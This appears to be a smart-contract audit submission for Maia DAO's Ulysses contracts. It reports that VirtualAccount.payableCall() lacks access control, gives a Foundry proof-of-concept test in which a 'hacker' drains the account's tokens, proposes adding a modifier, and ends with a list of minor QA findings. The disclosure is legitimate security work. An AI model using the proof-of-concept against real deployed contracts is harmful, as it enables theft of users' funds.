Maia DAO - Ulysses - SovaSlava's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85

Vulnerability details

Impact

The Virtual Account is designed to integrate seamlessly with the Ulysses branch chain, allowing users to effortlessly access their balances and interact with dApps in the Arbitrum environment. Anyone could call function payableCall() and take tokens to own address. Because function dont have protect modifier, as function call(). There are potentially other dangerous things you can do with this function.

Proof of Concept

PayableCall.t.sol

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.16;

import "../../src/VirtualAccount.sol";
import "../../src/token/ERC20hTokenRoot.sol";
import {PayableCall} from "../../src/interfaces/IVirtualAccount.sol";
import "forge-std/Test.sol";


contract TestPayCall is Test {
address user = makeAddr("user");
address rootPort = makeAddr("port");
address factory = makeAddr("factory");
address hacker = makeAddr("hacker");
VirtualAccount va;
ERC20hTokenRoot token;
function setUp() external {
    va = new VirtualAccount(user, rootPort);
    token = new ERC20hTokenRoot(uint16(block.chainid), factory, rootPort, "Token", "Token", 18);
    vm.startPrank(rootPort);
    token.mint(address(va), 100e18, 1);
    vm.stopPrank();
}

function test() external {

    PayableCall memory hackStruct =  PayableCall({
                target: address(token),
                callData: abi.encodeWithSignature("transfer(address,uint256)", hacker, 100e18),
                value: 0
            });

    vm.startPrank(hacker);
    PayableCall[] memory arrStruct = new PayableCall[](1);
    arrStruct[0] = hackStruct;
    uint balanceBefore = token.balanceOf(hacker);
    va.payableCall(arrStruct);
    uint balanceAfter = token.balanceOf(hacker);
    assertEq(balanceAfter, balanceBefore + 100e18);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Add modifier requiresApprovedCaller to "payableCall" function. VirtualAccount.sol

- function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
+ function payableCall(PayableCall[] calldata calls) public requiresApprovedCaller payable returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        ...

Assessed type

call/delegatecall

QA Report

Q1 - Call custom error function in for loop without argument, which clarify what exact call has fail. When an error occurs, it is difficult for the user to understand which call caused the error because the error does not contain the call sequence number. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L90C1-L104C1

Q2 - Same error for different conditions. It is difficult for the user to understand why the error occurred. It is recommended to use different custom errors function for each conditional. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchBridgeAgent.sol#L126C1-L127C9 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L869C1-L873C1 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L299C1-L302 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L461-L463 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L117C1-L123 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1205C1-L1213 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L307C1-L308 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L357-L372 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1057-L1061 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1205-L1213 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L484-L494 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L528-L529 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L544-L545

Q3 - Function do not allow send bytes to EOA. The user may want to send bytes to the EOA address(text message), but the function only allows it to be sent if the address is a contract. So, variable success always will have default value (false) and it cause revert. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L74

Q4 - User can not specify other address for withdrawing from port, if his main address in token's blacklist. if user's address(which deposited tokens to port) was included in blacklist, user will not withdraw tokens to own address, because tx will revert. User should have opportunity specify address for receiving tokens. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchBridgeAgent.sol#L79

Q5 - Token contracts are not protected for the ERC20 approval race condition. A known race condition exists within the present implementation of the ERC20 standard. Example scenario : 1.Alice calls approve(Bob, 1000), allocating 1000 tokens for Bob to spend 2.Alice opts to change the amount approved for Bob to spend to a lesser amount via approve(Bob, 500). 3. Once mined, this decreases the number of tokens that Bob can spend to 500. 3.Bob sees the transaction and calls transferFrom(Alice, X, 1000) before approve(Bob, 500) has been mined. 4.If Bob’s transaction is mined prior to Alice’s, 1000 tokens will be transferred by Bob. However, once Alice’s transaction is mined, Bob can call transferFrom(Alice, X, 500), transferring a total of 1500 tokens despite Alice attempting to limit the total token allowance to 500. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/token/ERC20hTokenBranch.sol#L12 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/token/ERC20hTokenRoot.sol#L12

Q6 - When exchanging tokens from one network to another, it does not take into account that the same token can have different decimals in different networks. This means that the user can receive more or less than he sent. The 1:1 ratio will be broken. For example: USDT on ethereum - 6 decimals, on BSC - 18. https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7#readContract#F6 https://bscscan.com/address/0x55d398326f99059ff775485246999027b3197955#readContract#F6